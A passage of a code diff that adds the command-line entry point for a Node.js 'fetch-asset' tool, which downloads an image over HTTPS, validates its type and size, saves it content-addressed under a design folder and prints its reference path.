sniffs the bytes (png/jpg/gif/webp; SVG/HTML rejected), content-addresses it as
|
|
503
|
+
<designRoot>/assets/<sha8>.<ext>, and prints the canvas reference path.
|
|
504
|
+
|
|
505
|
+
On success stdout = the reference path, e.g. /assets/a44d3d60.png
|
|
506
|
+
REF=$(maude design fetch-asset "$URL" --root "$REPO") && echo "$REF" || echo scrap
|
|
507
|
+
|
|
508
|
+
Exit: 0 ok · 2 usage · 3 SSRF/validation reject · 4 download/http error ·
|
|
509
|
+
5 unsupported media type · 6 write/containment error · 1 other.`;
|
|
510
|
+
|
|
511
|
+
async function main() {
|
|
512
|
+
let opts;
|
|
513
|
+
try {
|
|
514
|
+
opts = parseArgv(process.argv.slice(2));
|
|
515
|
+
} catch (err) {
|
|
516
|
+
process.stderr.write(`fetch-asset: ${err.message}\n`);
|
|
517
|
+
process.exit(err instanceof FetchAssetError ? err.code : 2);
|
|
518
|
+
}
|
|
519
|
+
if (opts.help) {
|
|
520
|
+
process.stdout.write(`${HELP}\n`);
|
|
521
|
+
return;
|
|
522
|
+
}
|
|
523
|
+
if (!opts.url) {
|
|
524
|
+
process.stderr.write('fetch-asset: <https-url> required\n');
|
|
525
|
+
process.exit(2);
|
|
526
|
+
}
|
|
527
|
+
const root = opts.root || process.env.CLAUDE_PROJECT_DIR || process.cwd();
|
|
528
|
+
if (!Number.isFinite(opts.maxBytes) || opts.maxBytes <= 0) {
|
|
529
|
+
process.stderr.write('fetch-asset: --max-bytes must be a positive number\n');
|
|
530
|
+
process.exit(2);
|
|
531
|
+
}
|
|
532
|
+
if (!Number.isFinite(opts.maxTime) || opts.maxTime <= 0) {
|
|
533
|
+
process.stderr.write('fetch-asset: --max-time must be a positive number\n');
|
|
534
|
+
process.exit(2);
|
|
535
|
+
}
|
|
536
|
+
try {
|
|
537
|
+
const r = await fetchAsset({
|
|
538
|
+
url: opts.url,
|
|
539
|
+
root,
|
|
540
|
+
designRootRel: opts.designRoot,
|
|
541
|
+
maxBytes: opts.maxBytes,
|
|
542
|
+
maxTime: opts.maxTime,
|
|
543
|
+
});
|
|
544
|
+
process.stdout.write(opts.json ? `${JSON.stringify(r)}\n` : `${r.ref}\n`);
|
|
545
|
+
} catch (err) {
|
|
546
|
+
process.stderr.write(`fetch-asset: ${err.message}\n`);
|
|
547
|
+
process.exit(err instanceof FetchAssetError ? err.code : 1);
|
|
548
|
+
}
|
|
549
|
+
}
|
|
550
|
+
|
|
551
|
+
// Run only when invoked directly (not when imported by the test). This shim runs
|
|
552
|
+
// under real `node` on a real on-disk path (never embedded in bun --compile), so
|
|
553
|
+
// the classic argv[1] guard is correct here — see the v0.38.0 self-heal memory.
|
|
554
|
+
if (process.argv[1] && import.meta.url === pathToFileURL(process.argv[1]).href) {
|
|
555
|
+
main();
|
|
556
|
+
}
|